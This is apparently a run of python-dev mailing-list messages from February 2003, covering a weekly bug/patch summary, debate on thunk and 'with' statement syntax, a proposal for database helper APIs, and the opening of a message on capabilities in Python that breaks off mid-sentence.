   codesnippet = DEF_FUNCTION(param_names,
     lambda pms:
       .....
       ....
       return k
     :
   , defaults = dict1)

   
Now if we want to provide codesnippet with parameters:

   codesnippet = lambda what, filename:
       print >> open(filename, "w"), what
     :
   codesnippet2 = codesnippet % {'filename': 'ex1', }
   what = "123"
   codesnippet.exec(vars())


Of course, parameter getting/setting needs some formal protocol.

If grammar will not suffer too much, one-line version:

codesn = lambda: print 2*2: + lambda: print 2*2:
codesn.exec()

will give
4
4

on the output.


(Where 'lambda' is an example keyword, just for illustration)

I even think that we can use $ as new type of blocking, needed for this.
It is fundamental addition and needs extraordinary syntax:


codesn = $ print 2*2 $ + $ print 2*2 $

Or maybe some asymettric:

codesnippet = <? print 2*2 ?> + <? print 2*2 ?>

But Guido will never let this fly, even if parser will be happy ;-)
What about 

```print 2*2``` + ```print 2*2```

- very near to the sense of what we want to achieve!


Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From skip@manatee.mojam.com  Sun Feb  2 13:00:35 2003
From: skip@manatee.mojam.com (Skip Montanaro)
Date: Sun, 2 Feb 2003 07:00:35 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200302021300.h12D0ZRd015670@manatee.mojam.com>

Bug/Patch Summary
-----------------

350 open / 3282 total bugs (+14)
123 open / 1944 total patches (+16)

New Bugs
--------

typeobject provides incorrect __mul__ (2002-12-30)
	http://python.org/sf/660144
bsddb hangs with recno/source sync (2003-01-26)
	http://python.org/sf/675187
os.environ leaks under FreeBSD and Mac OS X (2003-01-26)
	http://python.org/sf/675259
email.Header() encoding does not work properly (2003-01-27)
	http://python.org/sf/675420
patch for new func. string.findall (2003-01-27)
	http://python.org/sf/675864
Have exception arguments keep their type (2003-01-27)
	http://python.org/sf/675928
bsddb doc error (2003-01-28)
	http://python.org/sf/676233
BaseHTTPServer; HTTP/1.1 spec not "vague" (2003-01-28)
	http://python.org/sf/676273
BaseHTTPServer incorrectly parses protocol (2003-01-28)
	http://python.org/sf/676292
after using pdb readline does not work correctly (2003-01-28)
	http://python.org/sf/676342
String formatting operation Unicode problem. (2003-01-28)
	http://python.org/sf/676346
Have PythonLauncher use #! line (2003-01-28)
	http://python.org/sf/676358
Can't build C ext on OS X with 'altinstall' python (2003-01-29)
	http://python.org/sf/677293
python.exe expected in extension builds (2003-01-30)
	http://python.org/sf/677753
add warning to os.getlogin (2003-01-31)
	http://python.org/sf/678077
test_logging fails (2003-01-31)
	http://python.org/sf/678217
test_mmap failling on AIX (2003-01-31)
	http://python.org/sf/678250
locale.getpreferredencoding fails on AIX (2003-01-31)
	http://python.org/sf/678259
test_resource fails when file size is limited (2003-01-31)
	http://python.org/sf/678264
test_coercion fails on AIX (2003-01-31)
	http://python.org/sf/678265
list.append memory leak ? (2003-01-31)
	http://python.org/sf/678352
test_long fails (2003-01-31)
	http://python.org/sf/678375
Docs don't define sequence-ness very well (2003-01-31)
	http://python.org/sf/678464
Another parsermodule validation error (2003-01-31)
	http://python.org/sf/678518
StringIO self-iterator (2003-01-31)
	http://python.org/sf/678519
./configure fails w/error: cannot compute sizeof (wchar_t),  (2003-02-01)
	http://python.org/sf/678723

New Patches
-----------

Make the default encoding provided on Windows (2003-01-21)
	http://python.org/sf/671666
More flexible py-shell interpreter selection (2003-01-26)
	http://python.org/sf/675034
Add tzset method to time module (2003-01-27)
	http://python.org/sf/675422
extending readline functionality (2003-01-27)
	http://python.org/sf/675551
New block cipher API (2003-01-27)
	http://python.org/sf/675698
mhlib does not obey MHCONTEXT env var (2003-01-28)
	http://python.org/sf/675976
Cygwin _tkinter Tcl/Tk 8.4 patch (2003-01-29)
	http://python.org/sf/676835
Cygwin array module patch (2003-01-29)
	http://python.org/sf/676837
Cygwin _iconv_codec module patch (2003-01-29)
	http://python.org/sf/676839
PYTHONBYTECODEBASE patch (PEP 304) (2003-01-29)
	http://python.org/sf/677103
improved readline usage in pdb (2003-01-30)
	http://python.org/sf/677719
python-mode.el: make C-c - work correctly after C-c | (2003-01-30)
	http://python.org/sf/677838
Add traceback.format_exc (2003-01-30)
	http://python.org/sf/677887
add optional CWD argument to os.path.abspath() (2003-01-30)
	http://python.org/sf/677890
zlib module needs decompress flush. (2003-01-31)
	http://python.org/sf/678531
Use ifilter in sets module (2003-02-01)
	http://python.org/sf/678899

Closed Bugs
-----------

minidom doesn't implement importNode() (2001-10-25)
	http://python.org/sf/474986
httplib strict mode fails in 2.2.2 (2002-03-08)
	http://python.org/sf/527521
AIX 3.2.5 Has No chroot/fsync Prototypes (2002-03-23)
	http://python.org/sf/534108
Windows binary missing SSL (2002-07-02)
	http://python.org/sf/576711
wrong dest size (2002-07-18)
	http://python.org/sf/583477
mhlib does not obey MHCONTEXT env var (2002-09-17)
	http://python.org/sf/610556
pdb quit breakage (2002-11-05)
	http://python.org/sf/634116
pdb user_call breakage (2003-01-17)
	http://python.org/sf/669692
StringIO doc doesn't say it's sometimes read-only (2003-01-20)
	http://python.org/sf/671447
Three __contains__ implementations (2003-01-21)
	http://python.org/sf/672098
Access to serial devices through Carbon.CF (2003-01-25)
	http://python.org/sf/674574

Closed Patches
--------------

sets.BaseSet.isdisjointset(other) (2002-10-18)
	http://python.org/sf/625513
Add cflags to RC compile (2003-01-16)
	http://python.org/sf/669198


From guido@python.org  Sun Feb  2 13:02:54 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 02 Feb 2003 08:02:54 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sun, 02 Feb 2003 05:52:18 +0100."
 <3E3CA402.1020805@tismer.com>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <20030201224846.261712C61@bespin.org>
 <200302020224.h122Oox05098@pcp02138704pcs.reston01.va.comcast.net>
 <3E3CA402.1020805@tismer.com>
Message-ID: <200302021302.h12D2s013782@pcp02138704pcs.reston01.va.comcast.net>

> Ahhh.
> 
> Sorry to say that.
> I'd like to contribute, but python-dev
> is hitting my limits completely.
> This thread is absolutely incomprehensible.
> Message frequency is unbearable.
> Relationship indentation hits by browser's capabilities.
> How can I follow this while working for some bread.
> 
> Poor guy who has to write the summary.
> 
> sigh - chris

Too bad, Chris.  This thread is not for the benefit of posterity, but
for the benefit of those participating in it.  There are enough of us
who *are* still following it that it makes sense to keep it on
python-dev.  If you can't follow it, just ignore it -- that's what I
do with most other threads on python-dev, knowing that there are
others who do follow it. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb  2 13:27:21 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 02 Feb 2003 08:27:21 -0500
Subject: [Python-Dev] Re: Extended Function syntax
In-Reply-To: "Your message of Sat, 01 Feb 2003 21:52:25 +0100."
 <05d501c2ca33$d36d6560$6d94fea9@newmexico>
References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
 <05d501c2ca33$d36d6560$6d94fea9@newmexico>
Message-ID: <200302021327.h12DRLk13872@pcp02138704pcs.reston01.va.comcast.net>

[Guido]
> >   switch(expr):
> >     case(val1):
> >       block1
> >     case(val2):
> >       block2
> >     default:
> >       block3
> >
> > This actually makes me worry -- I didn't plan thunks to be the answer
> > to all problems.  A new idea that could cause a paradigm landslide is
> > not necessarily right.

[Samuele]
> I don't exactly get how containment relationships are disambiguated at
> compilation time?
> 
> for sure this is bordering macros' expressivity

I'm not sure I approve of this, but I believe that Glyph's suggestion
can be done by inserting a reference to the most recently active
switch object in the thunk's namespace.  Rough sketch of code:

  class switch:
    def __init__(self, expr):
      self.expr = expr
    def __call__(self, thunk):
      self.success = False
      self.save_switch = thunk.locals.get('__switch__')
      try:
        thunk.locals['__switch__'] = self
        thunk()
      finally:
        thunk.locals['__switch__'] = self.save_switch

  class case:
    def __init__(self, val):
      self.val = val
    def __call__(self, thunk):
      sw = thunk.locals.get('__switch__')
      assert sw is not None
      if sw.success: # A previous case triggered
        return
      if self.val == sw.expr:
        sw.success = True
        thunk()

I'll leave the implementation of default to the reader's imagination.

Again, not endorsing, just playing with Glyph's idea.  Clearly one
could write ugly stuff like

  switch(x):
    print "This is always executed"
    for i in range(10):
      case(i):
        print "x is equal to", i
        case(i+1):
          print "this is unreachable"

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb  2 13:52:33 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 02 Feb 2003 08:52:33 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sat, 01 Feb 2003 22:44:27 +0100."
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
Message-ID: <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>

[Guido]
> > > I do worry that if my thunks are to be maximally useful, they may end
> > > up having all variables bound through "cells" (as used for nested
> > > scopes) which may give them a reputation of being slow compared to
> > > in-line code, which would limit their popularity for control flow
> > > statements like synchronized().

[Samuele]
> > yes, that worries me to,  it seems at least a likely source of recurring
> > comp.lang.python threads

[Samuele again]
> 'with' syntax does not share the problem, because it is just
> syntax-sugar for a try-finally, not involving thunks.

Right.  Of course, many programmers (the majority? :-) will expect
'with' to do something similar to 'with' in Pascal, VB and JavaScript.
So maybe we'll have to pick a different keyword.  But let's focus on
the semantics of your 'with'.

> Repeating myself, unless one considers the most extreme proposals
> that border macros, thunks [smalltalk-ish anonymous blocks] are
> quite a non-orthogonal addition for a language already with
> functions and closures, generators and 'for'.

Yes, but Python isn't particularly orthogonal anyway.  *If* (and
that's a big if) we can make it fit on all the edges, I don't mind it
being unorthogonal, *if* it also solves a large (better be very large)
class of issues where users would like to extend the language but
currently have to write a lot of extra code, and *if* most of those
issues can't be solved almost as well by something a lot less powerful
(like your 'with').

I think so far I've been thinking mostly about fitting my proposal on
all edges (that's where my discussion of the thunk's scope comes
from).  Maybe I should try to focus more on collecting real-world
examples that are asking for syntactic support, and then try to look
for the simplest way to support most of them.

> [I leave aside generalizing 'class', which is something useful but
> not about control-flow statements and for me a separate problem]
> 
> Much of what:
> 
> do beh(args): (x,...):
>   suite
> 
> can do, can be done already with
> 
> for x,.. in behgen(args): # behgen is a generator that yields where
>                           # beh would invoke the thunk
>   suite
> 
> What is not covered is:
> 
> 1) the case where the thunk passes back some result on invocation by
>    beh using the proposed 'value' direct-to-caller-return statement.
> 2) the case where beh returns a  useful value
>     do e = beh(args): (x,...):
>       suite

And 3) the case where the thunk is saved for later, e.g. when
it is used as a callback or as some other extension of function
definition.  I haven't shown examples of this, but anonymous blocks in
Smalltalk are used for this all the time.  I can't find good docs
about Ruby's iterators that describe whether this is possible or not.

I did find out that Ruby has two iterator syntaxes (do...end and
{...})  that differ in whether they introduce a new scope or not!

> Both could be adressed with the following similar syntax-sugar but
> that defines a usual function instead of a thunk:
> 
> fdo [e=] beh(args): [(x,...):]
>    suite # can contain return
> 
> would be sugar for (or something similar):
> 
> def <anonymous>(x,...):
>   suite
> [e = ] beh(args)(<anonymous>)

Yes, that's one of the cases that I had wanted to cover.

> In this case we don't need to devise new rules for what
> 'break','continue','return' do in the suite. The suite is just the
> body of an anonymous function, 'return' has the usual meaning for a
> function in there. No new concept and rules would be added to the
> language.

> Obviously the suite cannot rebind locals in the surrounding
> function. Given the functional flavor of the construct especially if
> there's an assigmnent e = or beh uses values produced by the suite,
> this can be considered a feature.

It just isn't a good way to implement things like synchronized(),
which really need clean interaction with the environment (through
break, continue, return, and local variable assignment).  (I'm giving
up on 'yield' for now.)

> The addition of 'with' and 'for' plus generators would cover the
> other cases!

Not case (3).

> OTOH what 'return' does in the suite and the fact that the suite is
> not an inline suite can be ambigous at first glance. It is for sure
> a kind of wart.  But this would counterbalance the problem of
> defining/implementing thunks, and what 'break','continue','return'
> would do exactly in them, and the necessity to add 'value' to get
> full expressivity for thunks.

To be continued...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From lkcl@samba-tng.org  Sun Feb  2 14:20:23 2003
From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton)
Date: Sun, 2 Feb 2003 14:20:23 +0000
Subject: [Python-Dev] database APIs
Message-ID: <20030202142023.GI912@localhost>

has anyone considered doing database helper functions based
off of the DB 2.0 api?

the question is inspired by the amount of work that is
needed to create a useable suite of database queries in
the shortest period of time - something that is important
when both developing databases and also when doing lots
of database applications one after the other.

also for some of the background please see the advogato article
http://advogato.org/article/600.html particularly the link to
jmg's code which contains some very simple to use but obscure 
coding methods to wrap SQL databases in objects.

the reason i ask is because the DB 2.0 api is great in
that it makes things easy-ish to add in different databases
(e.g. MySQL, MS-SQL, PostgreSQL) if you can deal with
the syntactical differences, but it doesn't help you
do things like:

- make a query that gets you some results

- modify one of the results

- write the modified results back.

i would _expect_ that the cursor class would have a function
called save() which performed the last of these operations.

e.g. as follows:

cur = db.execute("select name from table where id=20")
cur[0] = "fred's new name"
cur.save()

where the save() will AUTOMATICALLY create a database
statement:

	update table set name="fred's new name" where id=20


now, i realise that the above idea has quite a lot of
SQL-specific dependence: that can be dealt with by
providing base classes where the analysis or creation
of the query and also the save() function can be
over-ridden.

e.g. a class named DBgeneratorBase

and therefore an example class can be created

e.g. DBgeneratorSQL.


i was therefore wondering about two things:

- what do people on the python-dev list think of this concept?

- is it something appropriate to be included in the
  python libs, given that the python db API at present
  is more of a convention than something that is
  enforced as part of the python library suite.


-- 
----------------------------------------------------------
this message is private, confidential, and is intented for
the specified recipients only.  if you received in error,
altered, deleted, modified, destroyed or interfered with
the contents of this message, in whole or in part, please
inform the sender (that's me), immediately.

if you, the recipient, reply to this message, and do not
then receive a response, please consider your reply to have
been lost or deliberately destroyed: i *always* acknowledge
personal email received.  please therefore take appropriate
action and use appropriate protocols to ensure effective
communication.

thank you.



From jacobs@penguin.theopalgroup.com  Sun Feb  2 15:51:14 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Sun, 2 Feb 2003 10:51:14 -0500 (EST)
Subject: [Python-Dev] database APIs
In-Reply-To: <20030202142023.GI912@localhost>
Message-ID: <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>

On Sun, 2 Feb 2003, Luke Kenneth Casson Leighton wrote:
> has anyone considered doing database helper functions based
> off of the DB 2.0 api?

Yes; though the conversation is best had on the DB-SIG mailing list.

> the question is inspired by the amount of work that is
> needed to create a useable suite of database queries in
> the shortest period of time - something that is important
> when both developing databases and also when doing lots
> of database applications one after the other.

I've found that rapid initial development is far less important than ease of
validation, maintenance, and portability.  My belief is based on writing and
maintaining Python applications that interface to, at times >8 heterogeneous
database backends, each with many hundreds of tables and distinct OTP and
OLAP queries.

> also for some of the background please see the advogato article
> http://advogato.org/article/600.html particularly the link to
> jmg's code which contains some very simple to use but obscure 
> coding methods to wrap SQL databases in objects.

We (my company) and many others have their own SQL generation and OR mapping
implementations that are considerably more advanced.  Some (like mine) are
in the process of transitioning to an open source development model, while
some are already freely available (see http://colorstudy.com/software/SQLObject 
for one released just last week).  So maybe it is time for all of us to get 
together and put the Open Source "bazaar" to the test and see what comes out.

> the reason i ask is because the DB 2.0 api is great in
> that it makes things easy-ish to add in different databases
> (e.g. MySQL, MS-SQL, PostgreSQL) if you can deal with
> the syntactical differences, but it doesn't help you
> do things like:
> 
> - make a query that gets you some results
> 
> - modify one of the results
> 
> - write the modified results back.
> 
> i would _expect_ that the cursor class would have a function
> called save() which performed the last of these operations.

I would not (for many reasons what I will be happy to elaborate on later). 
Primarily, DB-API is intended to supply low level access to database
connections, transactions, simple result sets, SQL pass-through, and some
data type mapping capabilities.  The functionality you desire is complex
enough that it deserves its own layer/tier that sits on top of DB-API
modules.

> i was therefore wondering about two things:
> 
> - what do people on the python-dev list think of this concept?

The idea is great, though there is a good deal of design that needs to be
done.  I say this from experience, having built such a system.

> - is it something appropriate to be included in the
>   python libs, given that the python db API at present
>   is more of a convention than something that is
>   enforced as part of the python library suite.

Absolutely not.  Even after such a scheme has been battle-tested for a few
years and has a large and active user base, it will likely be very large and
have a radically different development cycle than the core interpreter.
However, if you care that much about formal Python legitimacy, then you can
work with DB-SIG to write a new standard for the features you desire.

Anyhow, we should move the rest of this discussion to the DB-SIG mailing
list (db-sig@python.org).

Thanks,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From pedronis@bluewin.ch  Sun Feb  2 16:02:09 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 17:02:09 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <002301c2cad4$714acc00$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> I think so far I've been thinking mostly about fitting my proposal on
> all edges (that's where my discussion of the thunk's scope comes
> from).  Maybe I should try to focus more on collecting real-world
> examples that are asking for syntactic support, and then try to look
> for the simplest way to support most of them.

yes, real-world examples would be good.

> > [I leave aside generalizing 'class', which is something useful but
> > not about control-flow statements and for me a separate problem]
> >
> > Much of what:
> >
> > do beh(args): (x,...):
> >   suite
> >
> > can do, can be done already with
> >
> > for x,.. in behgen(args): # behgen is a generator that yields where
> >                           # beh would invoke the thunk
> >   suite
> >
> > What is not covered is:
> >
> > 1) the case where the thunk passes back some result on invocation by
> >    beh using the proposed 'value' direct-to-caller-return statement.
> > 2) the case where beh returns a  useful value
> >     do e = beh(args): (x,...):
> >       suite
>
> And 3) the case where the thunk is saved for later, e.g. when
> it is used as a callback or as some other extension of function
> definition.  I haven't shown examples of this, but anonymous blocks in
> Smalltalk are used for this all the time.  I can't find good docs
> about Ruby's iterators that describe whether this is possible or not.
>
> I did find out that Ruby has two iterator syntaxes (do...end and
> {...})  that differ in whether they introduce a new scope or not!
>
> > Both could be adressed with the following similar syntax-sugar but
> > that defines a usual function instead of a thunk:
> >
> > fdo [e=] beh(args): [(x,...):]
> >    suite # can contain return
> >
> > would be sugar for (or something similar):
> >
> > def <anonymous>(x,...):
> >   suite
> > [e = ] beh(args)(<anonymous>)
>
> Yes, that's one of the cases that I had wanted to cover.
>
> > In this case we don't need to devise new rules for what
> > 'break','continue','return' do in the suite. The suite is just the
> > body of an anonymous function, 'return' has the usual meaning for a
> > function in there. No new concept and rules would be added to the
> > language.
>
> > Obviously the suite cannot rebind locals in the surrounding
> > function. Given the functional flavor of the construct especially if
> > there's an assigmnent e = or beh uses values produced by the suite,
> > this can be considered a feature.
>
> It just isn't a good way to implement things like synchronized(),
> which really need clean interaction with the environment (through
> break, continue, return, and local variable assignment).  (I'm giving
> up on 'yield' for now.)

there would be 'with' ('using' in C#) for that.

> > The addition of 'with' and 'for' plus generators would cover the
> > other cases!
>
> Not case (3).

I was assuming that fdo (do) woud be also added, that would cover case 3, no
non-local return and manipulation of surrounding locals, but e.g. for
long-lived callbacks those would be warty.



From pedronis@bluewin.ch  Sun Feb  2 16:25:43 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 17:25:43 +0100
Subject: [Python-Dev] Extended Function syntax
Message-ID: <011901c2cad7$bbe7b860$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > > What are the scope rules for blocks passed into method calls in
> > > Smalltalk?
> >
> > they are not ambiguous in the sense we are referring here:
> >
> > def f():
> >   x=3
> >   foo:
> >     x=4 # new x or old x?
>
> OK, so what are the rules in Smalltalk?  Could we use the same rules
> in Python?

in (modern) Smalltalk blocks introduce a new scope and are closures with
rebinding ability. Nothing to copy from there.

In Python inline-suites do not introduce a new-scope, functions introduce a new
scope and closure but without rebinding, 'class' introduces a new-scope. I
really think that the cases should be syntactically separated.



From pedronis@bluewin.ch  Sun Feb  2 19:21:05 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 20:21:05 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico>
Message-ID: <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>

From: "Samuele Pedroni" <pedronis@bluewin.ch>
> From: "Guido van Rossum" <guido@python.org>
> > I think so far I've been thinking mostly about fitting my proposal on
> > all edges (that's where my discussion of the thunk's scope comes
> > from).  Maybe I should try to focus more on collecting real-world
> > examples that are asking for syntactic support, and then try to look
> > for the simplest way to support most of them.
>
> yes, real-world examples would be good.

In particular real-world examples, not covered by 'for' and generators or
'with'*, that need rebinding the surrounding function locals and/or non-local
return.

[Just for fun,  on the hackery/contrived side of things, we would finally get a
version of Paul Graham's accumulator generator
   http://www.paulgraham.com/accgen.html
with mostly lisp-y length:

def accmaker(n):
  do acc = (lambda x:x): (i):
     n += i
     value n # ! not 'return', that would be a non-local return
  return acc

]

*

with <expr>:
 <suite>

would be possibly sugar for:

_x = <expr>
_x.__enter__()
try:
  <suite>
finally:
  _x.__exit__()

OR:

_x = <expr>
_x.__enter__()
try:
  try:
   <suite>
  except  getattr(_x,'__excepts__',()),_e:
    _x.__except__(_e)
finally:
  _x.__exit__()



From bac@OCF.Berkeley.EDU  Sun Feb  2 19:34:52 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 2 Feb 2003 11:34:52 -0800 (PST)
Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31
In-Reply-To: <3E3CAE08.2080600@tismer.com>
References: <Pine.SOL.4.53.0302011503540.2313@death.OCF.Berkeley.EDU>
 <3E3CAE08.2080600@tismer.com>
Message-ID: <Pine.SOL.4.53.0302021128040.17315@death.OCF.Berkeley.EDU>

[Christian Tismer]

> Brett Cannon wrote:
> > Well, my brain didn't pop from the extended syntax thread, so I am happy.
> > =)  Why did you guys have to have such a major discussion at the end of
> > the month (and have an explosion of big emails right at the end no less!)?
> > And of course I decide to try to introduce something new in this summary
> > that upped my workload.  Lucky me.  =)  OK, enough complaining (oh wait, I
> > don't get paid for this; I guess I can complain  =).
>
> Please, complain more. If you were employed, you
> should ask for compensation for pain and suffering.
>

=)

> I have not followed this thread (happy me + unlucky me.)
> And I don't intend to write a summary (lucky me.)
>
> After trying to follow it partially and failing
> completely, I'm asking if there is an alternate
> way of discussing such matters?
> There is no way of reading this thread for me.
> I cannot get it into any shape, since I haven't
> followed it online. This will be a similar
> problem for anybody who tries to read it after
> the fact, like me (with similar incapabilities).
>

I think part of the problem with that thread was that it started off as a
discussion about the proposed ``def foo() []:`` syntax and then branched
right into both that and property syntax which then spawned a discussion
on thunks; almost all of it happened under a single thread.

Now I realize they all have some form of a connection, but all three are
major proposals and it became difficult (at least for me) to separate out
when people were discussing what, let alone trying to make sure that I
personally understood the namespace issues.

The only way I could have seen that situation handled better would be to
have resolved the ``[]`` syntax idea first, and then move to the next one
and dealing with only a single issue (such as locking down the preferred
syntax before worrying about thunks  or deciding that thunks were
happening regardless of syntax choice and thus trying to nail that down).

But since they were all major changes to Python everyone just leapt in
while they could to comment (which is not necessarily a bad thing;  justs
sucks down my time =).

It was just a lot to digest.  Just so everyone knows, if you ever feel a
thread has become too large for you to digest, feel free to email me
either personally or to the list and ask for a summary of what has
happened so far.  I try to keep the summary partially written at all
times, so hopefully I should have a rough summary for any thread at any
point for people to read.  And if I don't I am going to need to anyway so
having to do it sooner than later is perfectly fine with me.

-Brett


From guido@python.org  Sun Feb  2 19:34:15 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 02 Feb 2003 14:34:15 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Sun, 02 Feb 2003 17:02:09 +0100."
 <002301c2cad4$714acc00$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
Message-ID: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>

[Samuele]
> yes, real-world examples would be good.

synchronized() is definitely a real-world example -- writing
try/finally for locks is a pain for all threaded code.

Another, related example would be something that blocks all signals
(or at least SIGINT) during a certain code block.

I imagine that there are quite a few examples that basically wrap a
code block in something that does some preparation and some cleanup.

These require that the cleanup action is done even if an exception
occurred in the block, and this can't be done with the "for loop" hack
proposed by Armin (unless you rely on __del__, which would be a no-no
for Jython).

'do' or 'with' should be up to this task.

I'm now wondering if there aren't really only two interesting cases,
none of which require saving the thunk and calling it later:

- synchronized-like, where the block should connect to its environment

- property-like, where the block should introduce a new scope, and the
  caller should be able to inspect or control that scope's namespace

All cases where something is saved to be called later can be done
by using the extended 'def' syntax (def f(...) [something]: ...).

I think that for synchronized-like cases, even if it is known at
compile time that it is to be part of the surrounding scope, the code
generated will still need to use nested-scope-cells, since it will be
invoked on a different stack frame: the "thunk processor" pushes its
own frame on the stack, and I think you can't have something that
executes in a frame that's not the topmost frame.  (Or can you?  I
don't know exactly what generators can get away with.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aleax@aleax.it  Sun Feb  2 19:35:03 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 20:35:03 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>
Message-ID: <200302022035.03264.aleax@aleax.it>

On Sunday 02 February 2003 08:21 pm, Samuele Pedroni wrote:
   ...
> with <expr>:
>  <suite>
>
> would be possibly sugar for:
>
> _x = <expr>
> _x.__enter__()
> try:
>   <suite>
> finally:
>   _x.__exit__()

wouldn't a version:

with <identifier> = <expr>:
    <suite>

be helpful too?  Meaning to use local variable <identifier> in lieu of
the abstract _x -- for example in order to enable:

with myfile = auto_closing_file('blah.txt', 'rb'):
    xx = myfile.read(23)
   # rest of suite snipped

where auto_closing_file is a subclass of file defining useful __enter__
(empty -- might be nice to have it optional...) and __exit__ = close
synonyms (or file itself might grow __exit__ as a synonym for close).

How would I do this elegantly without the assignment...?


Apart from this I cannot, offhand, think of any case that your 'with'
(perhaps with some tweaks such as making __enter__ optional, as
above mentioned) could not handle elegantly and effectively.


Alex



From jeremy@zope.com (Jeremy Hylton)  Sun Feb  2 19:54:55 2003
From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton)
Date: Sun, 2 Feb 2003 14:54:55 -0500
Subject: [Python-Dev] Capabilities in Python
In-Reply-To: <Pine.LNX.4.33.0301311503511.30241-100000@server1.lfw.org>
References: <15930.48758.62473.425111@slothrop.zope.com>
 <Pine.LNX.4.33.0301311503511.30241-100000@server1.lfw.org>
Message-ID: <15933.30607.900530.370402@localhost.localdomain>

>>>>> "KPY" == Ka-Ping Yee <ping@zesty.ca> writes:

  KPY> Wow, how did this topic end up crossing over to this list while
  KPY> i wasn't looking?  :0

You sure react quick for someone who isn't looking <wink>.

  >> A capability system must have some rules for creating and copying
  >> capabilities, but there is more than one way to realize those
  >> rules in a programming language.

  KPY> I suppose there could be, but there is really only one obvious
  KPY> way: creating a capability is equivalent to creating an object
  KPY> -- which you can only do if you hold the constructor.  A
  KPY> capability is copied into another object (for the security
  KPY> folks, "object" == "protection domain") when it is transmitted
  KPY> as an argument to a method call.

  KPY> To build a capability system, all you need to do is to
